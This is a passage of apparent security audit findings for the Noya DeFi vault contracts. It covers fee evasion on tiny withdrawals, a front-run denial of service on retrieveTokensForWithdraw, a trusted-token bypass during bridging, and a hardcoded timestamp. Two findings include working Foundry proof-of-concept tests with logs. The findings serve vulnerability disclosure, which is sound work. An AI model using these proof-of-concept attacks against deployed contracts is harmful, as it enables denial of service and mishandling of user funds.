    WithdrawRequest memory data = withdrawQueue.queue[firstTemp]; //* okay
    uint256 shares = data.shares;
    // calculate the base token amount that the user will receive based on
the total available amount
    uint256 baseTokenAmount = (data.amount *
currentWithdrawGroup.totalABAmount) /
      currentWithdrawGroup.totalCBAmountFullfilled;

    withdrawRequestsByAddress[data.owner] -= shares;
    _burn(data.owner, shares);

    processedBaseTokenAmount += data.amount;
```

```
    {
      amount += baseTokenAmount;  // @audit added by me

      uint256 feeAmount = (baseTokenAmount * withdrawFee) / FEE_PRECISION;
//  FEE_PRECISION = 1e6
      withdrawnFeeAmount += feeAmount;  //@audit added by me
      withdrawFeeAmount += feeAmount;
      baseTokenAmount = baseTokenAmount - feeAmount;
    }

    baseToken.safeTransfer(data.receiver, baseTokenAmount);
    emit ExecuteWithdraw(firstTemp, data.owner, data.receiver, shares,
data.amount, baseTokenAmount, block.timestamp);
    delete withdrawQueue.queue[firstTemp];
    // increment the first index of the withdraw queue
    firstTemp += 1;
  }
  totalWithdrawnAmount += processedBaseTokenAmount;

  if (withdrawFeeAmount > 0) {
    baseToken.safeTransfer(withdrawFeeReceiver, withdrawFeeAmount);
  }
  withdrawQueue.first = firstTemp;
  // if the withdraw group is fullfilled and there are no withdraws that
are waiting for execution, we delete the withdraw group
  if (currentWithdrawGroup.lastId == firstTemp) {
    delete currentWithdrawGroup;
  }
}
```

I ran the executionWithdraw for only 10 times, just for alice. The output:

```
[PASS] test_chunk() (gas: 3074809)
Logs:
Test timestamp: 1708313073
PositionRegistry deployed: 0x1645e0Cb6fd0A2b6375ad00bf07ea8E47f69b11C
NoyaValueOracle deployed: 0x5ad18A84d402504393DAd06598D0c900C9838D98
ChainlinkOracleConnector deployed:
0x29513E149447418171612f6aB47DE02152Fb11e5
Accounting deployed: 0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D
SwapHandler deployed: 0x1b3D0C97dde5D635B4dcE470d954518824e70731
LifiImplementation deployed: 0xD5367C816aEC26e5CB369Aa62eaBEa7CAa3Ab887
added as eligible user for swap: 0x1a83c6Cb0bF880F81E5b5e536DC2A3da33a77830
added as eligible user for swap: 0x48F60c369faD3b9D8Dd719169221a108Cc5f5f8b
AaveConnector added to registry
Tokens added to registry
Positions added to registry
----------Base Workflow-------------
withdraw fee: 30000
needed fund: 300
amountAskedForWithdraw: 300
baseTokenAmount: 300
```

```
withdrawn fee: 0
```

As you can see, for those 10 chunks of run withdrawFee is 0, and baseTokenAmount is 300, however then feeAmount is deducted from baseTokenAmount, but as fee is 0 here Alice will get total 300.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Don't accept such small withdraw requests.

Assessed type

Other

Anyone can make AccountingManager to DoS the retrieving token for withdrawal by sending 1e0 amount of USDC to AccountingManager

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L570-L572

Impact

Anyone can front run the `AccountingManager::retrieveTokensForWithdraw()` by sending 1e0 of USDC and the transaction for retrieving tokens from connector will be reverted. The reason is the AccountingManager contract does not accept amount more than `RetrieveData::withdrawAmount`, if even little more amount is sent then the transaction will revert. let's understand the attack:

```
  function retrieveTokensForWithdraw(RetrieveData[] calldata retrieveData)
public onlyManager nonReentrant {
      uint256 amountAskedForWithdraw_temp = 0;
      uint256 neededAssets = neededAssetsForWithdraw();
      for (uint256 i = 0; i < retrieveData.length; i++) {
          if (!registry.isAnActiveConnector(vaultId,
retrieveData[i].connectorAddress)) {
              continue;
          }
          uint256 balanceBefore = baseToken.balanceOf(address(this));
          uint256 amount =
IConnector(retrieveData[i].connectorAddress).sendTokensToTrustedAddress(
```

```
                address(baseToken), retrieveData[i].withdrawAmount,
address(this), retrieveData[i].data
            );
            uint256 balanceAfter = baseToken.balanceOf(address(this));
            if (balanceBefore + amount > balanceAfter) revert
NoyaAccounting_banalceAfterIsNotEnough();
            amountAskedForWithdraw_temp += retrieveData[i].withdrawAmount;
            emit RetrieveTokensForWithdraw(
                retrieveData[i].withdrawAmount,
                retrieveData[i].connectorAddress,
                amount,
                amountAskedForWithdraw + amountAskedForWithdraw_temp
            );
        }
        amountAskedForWithdraw += amountAskedForWithdraw_temp;
        if (amountAskedForWithdraw_temp > neededAssets) {
            revert NoyaAccounting_INVALID_AMOUNT();
        }
    }
```

1. First it takes a parameter of retrieveData struct's array whose first variant is `withdrawAmount`, lets assume the withdraw amount is 100e6 i.e 100_000_000. So this amount was added in that struct and passed as parameter & this function was called.
2. Now the malicious user sent 1e0 of USDC to the AccountingManager contract. Before retrieving the USDC balance of the contract should have 0 but as this 1e0 of USDC was sent now the balance is 1. If you read the `fullfillCurrentWithdrawGroup()` you will know that retrieved amount i.e amountAskedForWithdraw must be equal to the totalCBAmount i.e the needed amount to withdraw.
3. So first before calling the retrieveTokensForWithdraw() the needed amount was 100e6 but as after that 1e0 of USDC was sent now needed asset will be 99999999.
4. In retrieveTokensForWithdraw() the neededAssetForWithdraw() will be called and it will return 99999999. And connector sent 100e6, so amountAskedForWithdraw will be 100e6. Here it is visible: amountAskedForWithdraw == amountAskedForWithdraw_temp;
5. So when this condition will be checked at the end of the function: `if (amountAskedForWithdraw_temp > neededAssets)` it will return true so this transaction will revert.

Proof of Concept

Create a test file in testFoundry directory and paste this:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;

import '@openzeppelin/contracts-5.0/utils/Strings.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/IERC20.sol';

import {AaveConnector, BaseConnectorCP} from
'contracts/connectors/AaveConnector.sol';
```

```
import {IPool} from 'contracts/external/interfaces/Aave/IPool.sol';
import './utils/testStarter.sol';
import './utils/resources/OptimismAddresses.sol';
import '../contracts/interface/Accounting/IAccountingManager.sol';

contract TestAaveOnly is testStarter, OptimismAddresses {
  AaveConnector aaveConnector;
  event ExecuteDeposit(
      uint256 depositId,
      address receiver,
      uint256 recordTime,
      uint256 amount,
      uint256 shares,
      uint256 sharePrice
  );
function setUp() public {
      uint256 fork = vm.createFork(RPC_URL, startingBlock);
      vm.selectFork(fork);
      vm.startPrank(owner);
      deployEverythingNormal(USDC);
      aaveConnector = new AaveConnector(aavePool, address(840),
BaseConnectorCP(registry, 0, swapHandler, noyaOracle));
      addConnectorToRegistry(vaultId, address(aaveConnector));
      addTrustedTokens(vaultId, address(accountingManager), USDC);
      addTokenToChainlinkOracle(address(USDC), address(840),
address(USDC_USD_FEED));
      addTokenToNoyaOracle(address(USDC), address(chainlinkOracle));
      accountingManager.updateValueOracle(noyaOracle);
      registry.addTrustedPosition(vaultId,
aaveConnector.AAVE_POSITION_ID(), address(aaveConnector), true, false, '',
'');
      registry.addTrustedPosition(vaultId, 0, address(accountingManager),
false, false, abi.encode(USDC), '');
      vm.stopPrank();
      uint256 _amount = 20000e6;
      _dealWhale(baseToken, address(aaveConnector), USDC_Whale, _amount);
  }
function test_DoSDueToFrontRun() public {
      address attacker = vm.addr(1234);
      uint256 _amount = 10_000 * 1e6;
      _dealWhale(baseToken, address(alice),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
      _dealWhale(baseToken, address(attacker),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
      vm.startPrank(alice);
      SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
      accountingManager.deposit(address(alice), 10000e6, address(0));
      vm.stopPrank();
      vm.startPrank(owner);
      accountingManager.calculateDepositShares(3);
      vm.warp(block.timestamp + 35 minutes);
      vm.recordLogs();
      accountingManager.executeDeposit(3, address(aaveConnector), '');
```

```
        vm.stopPrank();
        vm.prank(alice);
        accountingManager.withdraw(100e6, address(alice));
        vm.startPrank(owner);
        accountingManager.calculateWithdrawShares(1);
        vm.warp(block.timestamp + 6 hours + 5 minutes);
        accountingManager.startCurrentWithdrawGroup();
        console.log("needed fund:",
accountingManager.neededAssetsForWithdraw());
        bytes memory data = hex'1232';
        RetrieveData[] memory retrieveData = new RetrieveData[](1);
        retrieveData[0] = RetrieveData(299999999, address(aaveConnector),
abi.encode(299999999, data));
        vm.stopPrank();
        vm.prank(attacker);
        IERC20(USDC).transfer(address(accountingManager),1);
        vm.startPrank(owner);
        console.log("needed fund after front run:",
accountingManager.neededAssetsForWithdraw());
        accountingManager.retrieveTokensForWithdraw(retrieveData);
        accountingManager.fulfillCurrentWithdrawGroup();
        accountingManager.executeWithdraw(1);
        vm.stopPrank();
    }
}
```

Run this test, if you see the logs you will understand why this DoS occured:

```
[FAIL. Reason: NoyaAccounting_INVALID_AMOUNT()] test_DoSDueToFrontRun()
(gas: 1207540)
Logs:
PositionRegistry deployed: 0x1645e0Cb6fd0A2b6375ad00bf07ea8E47f69b11C
NoyaValueOracle deployed: 0x5ad18A84d402504393DAd06598D0c900C9838D98
ChainlinkOracleConnector deployed:
0x29513E149447418171612f6aB47DE02152Fb11e5
Accounting deployed: 0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D
SwapHandler deployed: 0x1b3D0C97dde5D635B4dcE470d954518824e70731
LifiImplementation deployed: 0xD5367C816aEC26e5CB369Aa62eaBEa7CAa3Ab887
added as eligible user for swap: 0x1a83c6Cb0bF880F81E5b5e536DC2A3da33a77830
needed fund: 299999999
needed fund after front run: 299999998

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.52s
(1.45ms CPU time)

Ran 1 test suite in 1.54s (1.52s CPU time): 0 tests passed, 1 failed, 0
skipped (1 total tests)

Failing tests:
Encountered 1 failing test in
testFoundry/ConnectorConflict.t.sol:TestAaveOnly
```

```
[FAIL. Reason: NoyaAccounting_INVALID_AMOUNT()] test_DoSDueToFrontRun()
(gas: 1207540)
```

So while sending `withdrawAmount` of RetrieveData the needed asset was 299999999 but when the transaction for retrieveTokensForWithdraw() was in mempool the attacker sent 1e0 of USDC & that lessened the needed fund to 299999998, so the above mentioned condition did not satisfy & the transaction reverted.

Tools Used

Foundry, Manual inspection

Recommended Mitigation Steps

Allow the AccountingManager contract to have little bit more fund than for withdrawal amount.

Assessed type

DoS

It is possible to send unstrusted token while executing the brigde transaction by OmnichainLogic::startBridgeTransaction()

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/helpers/OmniChainHandler/OmnichainLogic.sol#L68 https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/Registry.sol#L344 https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/helpers/BaseConnector.sol#L142

Impact

It is possible to add untrusted token in `BridgeRequest` struct and send it to OmnichainManagerNormalchain contract. It is possible because the OmnichainLogic contract allowing to send all of the OmnichainManagerBaseChain connector. The actual check for trusted token is done in `Registry::updateHoldingPosition()`. When `_updateTokenInRegistry()` is called inside `startBridgeTransaction()` the call flow goes to `BaseConnector::_updateTokenInRegistry(address token, bool remove)`, here first `positionId` is calculated, then `positionIndex` is fetched, this function has these checks:

```
        if ((positionIndex == 0 && !remove) || (positionIndex > 0 && remove))
{
            emit UpdateTokenInRegistry(token, remove);
```

```
            registry.updateHoldingPosition(vaultId, positionId,
abi.encode(address(this)), "", remove);
        }
```

But there is no check if `positionIndex == 0 & remove`, this is important, suppose USDC was added as trusted token but DAI is not a trusted token, so when `positionId` will be calculated here it will be completely new id, and as no holdingPositonId is present for this `positionId` the positionIndex will be 0. So, assume, when `executeBridge()` was called inside `startBridgeTransaction()` all balance of OmnichainManagerBaseChain connector was added in BridgeRequest struct, so all token balance of this connector will be send to OmnichainManagerNormalChain connector. As after sending all balance now OmnichainManagerBaseChain's balance is 0 so this condition of `BaseConnector::_updateTokenRegistry(address token)` will be true:

```
_updateTokenInRegistry(token, IERC20(token).balanceOf(address(this)) == 0);
```

so `bool remove` will be passed as true in `BaseConnector::_updateTokenInRegistry(address token, bool remove)`. So, as I mentioned there is nothing to do when `positionIndex == 0` & `remove == true` so nothing will happen, as a result the untrusted token will be sent to OmnichainManagerNormalChain connector.

Proof of Concept

Run this test in testFoundry/testOmnichain.t.sol file:

```
function test_trustedTokenCheckIsBypassedWhenAllAmountIsSent() public {
        // From setUp() we know that DAI was not added as trusted token, in
this test i will show you how it is possible to
        // add untrusted token when all OmnichainManagerBaseChain connector's
balance is sent to LifiImplementation contract.

        uint256 amount = 100e6;
        //lets credit 100e6 DAI to OmnichainManagerBaseChain connector
        _dealERC20(address(DAI), address(omnichainManagerBaseChain), amount);
        console.log("OmnichainManagerBaseChain balance:",
IERC20(DAI).balanceOf(address(omnichainManagerBaseChain)));
         vm.startPrank(owner);
        BridgeRequest memory request = BridgeRequest(
            10, address(omnichainManagerBaseChain), 2, amount, address(DAI),
address(omnichainManagerNormalChain), ""
        );
        omnichainManagerBaseChain.updateChainInfo(10,
address(omnichainManagerNormalChain));

omnichainManagerBaseChain.updateBridgeTransactionApproval(keccak256(abi.enc
ode(request)));
        vm.warp(block.timestamp + 31 minutes);
        request.from = address(omnichainManagerBaseChain);
        console.log("Before starting the bridge transaction DAI balance of
```

```
omnichainManagerNormalChain is = %s & omnichainManagerBaseChain is = %s",
IERC20(DAI).balanceOf(address(omnichainManagerNormalChain)),
IERC20(DAI).balanceOf(address(omnichainManagerBaseChain)));
      omnichainManagerBaseChain.startBridgeTransaction(request);
      console.log("After executing the bridge transaction DAI balance of
omnichainManagerNormalChain is = %s & omnichainManagerBaseChain is = %s",
IERC20(DAI).balanceOf(address(omnichainManagerNormalChain)),
IERC20(DAI).balanceOf(address(omnichainManagerBaseChain)));
  }
```

Logs:

```
OmnichainManagerBaseChain balance: 100000000
Before starting the bridge transaction DAI balance of
omnichainManagerNormalChain is = 0 & omnichainManagerBaseChain is =
100000000
After executing the bridge transaction DAI balance of
omnichainManagerNormalChain is = 100000000 & omnichainManagerBaseChain is =
0
```

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Take proper step as per protocol need.

Assessed type

Invalid Validation

Protocol may account uneligible DepositRequest & WithdrawRequest in AccountingManager contract while calculating deposit share and withdraw share due to hardcoded `positionTimestamp` in HoldingPI struct

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/Registry.sol#L319

Impact

When a new HoldingPI struct is added using Registry::updateHoldingPosition() it's `positionTimestamp` is set `type(uint256).max`, when the position's additionalData is updated then the timestamp is not changed. As a result all HoldingPI's `positionTimestamp` remains same i.e type(uint256).max until it is set by calling `Registry::updateHoldingPositionWithTime()`. Suppose in a vault id there is no crosschain position, in that case `positionTimestamp` of all holding positions will be same. And when `TVLHelper::getLatestUpdateTime()` will be called it will return `type(uint256).max`. In `AccountingManager::calculateDepositShares()` & `AccountingManager::calculateWithdrawShares()` there is `oldestUpdateTime` check:

`calculateDepositShares()`:

```
depositQueue.queue[middleTemp].recordTime <= oldestUpdateTime
```

`calculateWithdrawShares()`:

```
withdrawQueue.queue[middleTemp].recordTime <= oldestUpdateTime
```

where `oldestUpdateTime` is calculated like this:

```
uint256 oldestUpdateTime = TVLHelper.getLatestUpdateTime(vaultId,
registry);
```

But there is no point of those checks, because at any condition it will pass as `oldestUpdateTime` is always `type(uint256).max`. So a DepositRequest, which may not be eligible for calculating deposit share due to `recordTime`, will be eligible. Same stands for calculatingWithdrawShare.

Proof of Concept

1. `positionTimestamp` is set `type(uint256).max`: https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/Registry.sol#L319
2. Check in `AccountingManager::calculateDepositShares()`: https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L233
3. Check in `AccountingManager::calculateWithdrawShares()`: https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L339
4. This is how oldest timestamp is returning from TVLHelper::getLatestUpdateTime(): https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/helpers/TVLHelper.sol#L44-L48

Tools Used

Manual review.

Recommended Mitigation Steps

Set proper timestamp while adding/updating HoldingPI struct.